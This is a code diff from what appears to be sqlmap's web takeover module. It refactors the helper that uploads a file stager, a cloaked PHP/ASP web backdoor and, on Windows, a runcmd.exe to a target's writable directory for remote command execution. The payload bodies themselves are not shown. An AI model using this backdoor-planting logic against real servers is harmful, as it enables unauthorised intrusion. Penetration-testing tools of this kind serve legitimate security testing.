|
5 | 5 | See the file 'doc/COPYING' for copying permission |
6 | 6 | """ |
7 | 7 |
|
8 | | -import codecs |
9 | 8 | import os |
10 | 9 | import posixpath |
11 | 10 | import re |
| 11 | +import StringIO |
12 | 12 |
|
13 | 13 | from tempfile import mkstemp |
14 | 14 |
|
15 | 15 | from extra.cloak.cloak import decloak |
16 | 16 | from lib.core.agent import agent |
17 | 17 | from lib.core.common import arrayizeValue |
18 | 18 | from lib.core.common import Backend |
19 | | -from lib.core.common import decloakToNamedStream |
20 | 19 | from lib.core.common import extractRegexResult |
21 | 20 | from lib.core.common import getDirs |
22 | 21 | from lib.core.common import getDocRoot |
@@ -82,16 +81,25 @@ def webBackdoorRunCmd(self, cmd): |
82 | 81 |
|
83 | 82 | return output |
84 | 83 |
|
85 | | - def webFileUpload(self, fileToUpload, destFileName, directory): |
86 | | - inputFP = codecs.open(fileToUpload, "rb") |
87 | | - retVal = self._webFileStreamUpload(inputFP, destFileName, directory) |
88 | | - inputFP.close() |
89 | | - |
90 | | - return retVal |
| 84 | + def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None): |
| 85 | + if filepath is not None: |
| 86 | + if filepath.endswith('_'): |
| 87 | + content = decloak(filepath) # cloaked file |
| 88 | + else: |
| 89 | + with open(filepath, "rb") as f: |
| 90 | + content = f.read() |
| 91 | + if content is not None: |
| 92 | + stream = StringIO.StringIO(content) # string content |
| 93 | + return self._webFileStreamUpload(stream, destFileName, directory) |
91 | 94 |
|
92 | 95 | def _webFileStreamUpload(self, stream, destFileName, directory): |
93 | 96 | stream.seek(0) # Rewind |
94 | 97 |
|
| 98 | + try: |
| 99 | + setattr(stream, "name", destFileName) |
| 100 | + except TypeError: |
| 101 | + pass |
| 102 | + |
95 | 103 | if self.webApi in getPublicTypeMembers(WEB_API, True): |
96 | 104 | multipartParams = { |
97 | 105 | "upload": "1", |
@@ -156,10 +164,7 @@ def webInit(self): |
156 | 164 | break |
157 | 165 |
|
158 | 166 | if not default: |
159 | | - if Backend.isOs(OS.WINDOWS): |
160 | | - default = WEB_API.ASP |
161 | | - else: |
162 | | - default = WEB_API.PHP |
| 167 | + default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP |
163 | 168 |
|
164 | 169 | message = "which web application language does the web server " |
165 | 170 | message += "support?\n" |
@@ -190,8 +195,7 @@ def webInit(self): |
190 | 195 | directories = sorted(getDirs()) |
191 | 196 |
|
192 | 197 | backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) |
193 | | - backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) |
194 | | - originalBackdoorContent = backdoorContent = backdoorStream.read() |
| 198 | + backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) |
195 | 199 |
|
196 | 200 | stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) |
197 | 201 | stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) |
@@ -291,30 +295,23 @@ def webInit(self): |
291 | 295 | logger.info(infoMsg) |
292 | 296 |
|
293 | 297 | if self.webApi == WEB_API.ASP: |
294 | | - runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) |
295 | | - runcmdStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) |
296 | 298 | match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) |
297 | 299 |
|
298 | 300 | if match: |
299 | 301 | backdoorDirectory = match.group(1) |
300 | 302 | else: |
301 | 303 | continue |
302 | 304 |
|
303 | | - backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) |
304 | | - backdoorStream.truncate() |
305 | | - backdoorStream.read() |
306 | | - backdoorStream.seek(0) |
307 | | - backdoorStream.write(backdoorContent) |
308 | | - |
309 | | - if self._webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): |
310 | | - self._webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) |
| 305 | + _ = "tmpe%s.exe" % randomStr(lowercase=True) |
| 306 | + if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): |
| 307 | + self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_')) |
311 | 308 | self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) |
312 | 309 | self.webDirectory = backdoorDirectory |
313 | 310 | else: |
314 | 311 | continue |
315 | 312 |
|
316 | 313 | else: |
317 | | - if not self._webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath): |
| 314 | + if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent): |
318 | 315 | warnMsg = "backdoor has not been successfully uploaded " |
319 | 316 | warnMsg += "through the file stager possibly because " |
320 | 317 | warnMsg += "the user running the web server process " |
|
0 commit comments